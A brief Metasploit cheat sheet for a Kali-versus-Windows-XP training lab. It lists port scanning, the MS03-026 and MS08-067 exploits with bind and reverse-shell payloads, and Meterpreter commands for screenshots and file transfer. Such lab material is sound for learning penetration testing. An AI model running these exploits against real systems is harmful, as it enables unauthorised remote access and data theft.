■ Windows XP Pentesting Cheat Sheet (Metasploit)

■ Setup	Kali Linux (Attacker), Windows XP (Target), Host-only/NAT network
■ Start Metasploit	service postgresql start service metasploit start msfconsole
■ Port Scan	use auxiliary/scanner/portscan/tcp set RHOSTS <XP_IP> set PORTS 1-600 run
■ Exploit DCOM	use exploit/windows/dcerpc/ms03_026_dcom set RHOST <XP_IP> set PAYLOAD windows/shell_bind_tcp run
■ Exploit MS08-067 (NetAPI)	use exploit/windows/smb/ms08_067_netapi set RHOST <XP_IP> set LHOST <Kali_IP> set PAYLOAD windows/meterpreter/reverse_tcp exploit
■■ Meterpreter Basics	sysinfo → System info getuid → Current user ps → List processes screenshot → Capture desktop download <file> / upload <file> exit → Close session
■ Notes	If no ports are found → disable XP firewall. Common open ports: 135, 139, 445.